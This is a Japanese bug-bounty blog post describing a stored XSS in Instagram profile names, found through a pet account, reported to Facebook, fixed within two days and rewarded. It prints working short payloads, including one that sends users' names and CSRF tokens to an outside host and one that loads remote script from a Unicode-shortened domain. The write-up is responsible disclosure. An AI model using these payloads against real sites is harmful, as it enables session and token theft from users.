2016年9月1日木曜日

すっぴーさんからの贈り物(Instagram Stored XSS)

お久しぶりです。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw

さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。

ある日1件のツイートが目に止まりました。
今回の主人公すっぴーさんであります。すっぴーさんに興味があったので、見ようと思いリンクをクリックしましたが、真っ白な画面が開きました。おかしいと思い調べたところ面白い状態になっていました。

すっぴーさんの飼い主の方が悪意ある名前("><script>alert(0)</script>)を設定していて、なんとInstagramがそれを正しくエスケープしていなかった為、 名前の最後にある</script>でscriptタグが閉じられてしまっている状態でした。

海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。

まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。

</script><img/src='//te.st/?

するとこんな感じになりました。


攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました!ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw

とりあえずFacebookに報告。

さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。

</script><script>alert(1)//


無事アラート出来ました!

報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。

</script><script/src=//⑭.₨>

これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。

PoC
https://jsfiddle.net/ykke16ht/

⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら

無事修正されたので、すっぴーさんを見に行ったところ...

</script><svg/onload=alert(1)>

バッチリ攻撃仕掛けてましたw


追記
Facebookから$3500の報奨金を頂きました!

ではでは。

0 件のコメント:

コメントを投稿